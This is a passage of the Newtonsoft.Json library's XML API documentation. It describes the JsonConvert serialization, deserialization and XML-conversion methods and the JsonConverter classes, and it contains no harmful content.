name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int64)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int64\"/>  to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt64)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt64\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Single)\">\n            <summary>\n            Converts the <see cref=\"T:System.Single\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Single\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Double)\">\n            <summary>\n            Converts the <see cref=\"T:System.Double\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Byte)\">\n            <summary>\n            Converts the <see cref=\"T:System.Byte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Byte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.SByte)\">\n            <summary>\n            Converts the <see cref=\"T:System.SByte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.SByte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Decimal)\">\n            <summary>\n            Converts the <see cref=\"T:System.Decimal\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Guid)\">\n            <summary>\n            Converts the <see cref=\"T:System.Guid\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Guid\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.TimeSpan)\">\n            <summary>\n            Converts the <see cref=\"T:System.TimeSpan\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.TimeSpan\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Uri)\">\n            <summary>\n            Converts the <see cref=\"T:System.Uri\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Uri\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char,Newtonsoft.Json.StringEscapeHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <param name=\"stringEscapeHandling\">The string escape handling.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Object)\">\n            <summary>\n            Converts the <see cref=\"T:System.Object\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Object\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object)\">\n            <summary>\n            Serializes the specified object to a JSON string.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String)\">\n            <summary>\n            Deserializes the JSON to a .NET object.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to a .NET object using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The object to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize to.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object)\">\n            <summary>\n            Populates the object with values from the JSON string.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Populates the object with values from the JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanRead\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter`1\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,`0,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,`0,System.Boolean,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read. If there is no existing value then <c>null</c> will be used.</param>\n            <param name=\"hasExistingValue\">The existing value has a value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> when serializing the member or class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n            <param name=\"converterParameters\">Parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>. Can be <c>null</c>.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterCollection\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonDictionaryAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class with the specified container 